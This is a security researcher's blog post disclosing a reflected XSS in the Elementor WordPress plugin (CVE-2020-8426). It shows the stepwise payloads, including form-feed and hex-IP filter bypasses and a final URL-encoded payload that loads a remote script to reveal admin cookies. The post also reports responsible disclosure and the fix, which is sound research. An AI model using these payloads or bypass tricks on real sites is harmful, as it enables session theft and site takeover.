XSS in Elementor Wordpress Plugin

XSS in WordPress Elementor Plugin <= 2.8.4 (CVE-2020-8426)

Preface: As part of our standard business practice, we endeavor to provide our penetration testers research time to develop tools, discover exploits and contribute to the community with the aim to stay ahead of the game. We always follow responsible disclosure guidelines!

Background

During my monthly downtime I like to go bug hunting in WordPress plugins. Not because I am a malicious neer-do-well, but because WordPress now makes up over 30% of websites! Often plugins for WordPress contain security flaws that go unnoticed and and proceed to be installed on a multitude of sites which can be a serious issue.

WordPress is used by small businesses, enterprises and this blog. Therefore it seems appropriate that we could contribute to identifying risks.

Plugin Choice

The Elementor plugin is widely used and is pretty awesome for rapidly prototyping varied pages with a nice drag and drop design method. You can have a look at the plugin here:

The Identification

With the huge usage of the Elementor plugin (over 3 million installs) I put some time into investigating this in more depth.

The plugin seems to be very well implemented but there is always a sneaky XSS somewhere. So in comes Burp Suite’s intruder dropping a whole heap of payloads into every dynamic part of the application….and…..bingo!

Basic XSS attempt.
It worked! XSS Found!

The Exploit

Ok, so the “alert(1)” payload worked, it popped up my alert box as expected, however I wanted to try to get something that was more like an actual attack vector, thus I began to try the variations of document.cookie.

So trying the standard:

/wp-admin/admin.php?page=elementor-system-info&lala"><script>alert(document.cookie)</script>boop=1

..and nope…sanitized.

Sanitized XSS attempt.

Bypassing Sanitization

The next attempt is to try using an accessor instead:

/wp-admin/admin.php?page=elementor-system-info&lala"><script>alert(document['cookie'])</script>boop=1

…and again..still nothing.

XSS failed due to further sanitization.

Ok, so lets try and host the script on another system and see if I can use the XSS to call my script from elsewhere (actual hostnames and IPs redacted).

/wp-admin/admin.php?page=elementor-system-info&lala"><script src=//myHost.xss></script>boop=1 

Unfortunately not, it seems spaces are also changed to underscores.

Getting closer but still no document.cookie XSS.

Ok, well there is a good trick to use the “form feed” character URL encoded (%0c) which should bypass that.

/wp-admin/admin.php?page=elementor-system-info&lala"><script%0csrc=//myHost.xss></script>boop=1

Ok, so that bypassed the issue with spaces, but we are getting some nasty URL encoded values rendered that are not going to pop this XSS.

XSS failed due to URL encoding.

However, I did notice that because the first “script src=” was being rendered, it was actually trying to call the remote script. However, this was not a valid URL by any means due to the inability to close off the script tags.

XSS kind of working, makes external URL call!

So I need to find a way to call my remote host correctly. Well a little while ago I had read a great post on using different variations on an IP address (octal, decimal and hex etc) that mean we can call the remote location without entering anything that looks like a URL.

Found Here
Article: XSS Without Dots

So a payload was built using this format that looked like the following (the redacted IP address is just 127.0.0.1 in hexadecimal for this post):

/wp-admin/admin.php?page=elementor-system-info&lala"><script%0csrc=//0x7f000001></script>boop=1 

This would point to a remote server that simply had “alert(document.cookie)” in the index.html file.

XSS failed due to URL encoding still.

Hmm, still getting issues with the URL encoding. Well lets try and sort that out by URL encoding this payload.

/wp-admin/admin.php?page=elementor-system-info&lndan%22%3e%3cscript%0csrc%3d//0x7f000001%3e%3c/script%3e=1

….and….

XSS with WordPress cookie!

Final Thoughts / Remediation

Whilst this XSS was not a particularly difficult one to find, it had some nuances that made it awkward to find the right working payload. Persistence and a couple of hours free time were enough to get this working nicely.

The developers of Elementor were contacted prior to this post to ensure they had adequate time to remediate the issue. This has now been fixed with some extra sanitization.

If you are using Elementor 2.8.4 or below, please update now to the latest version!

Peace.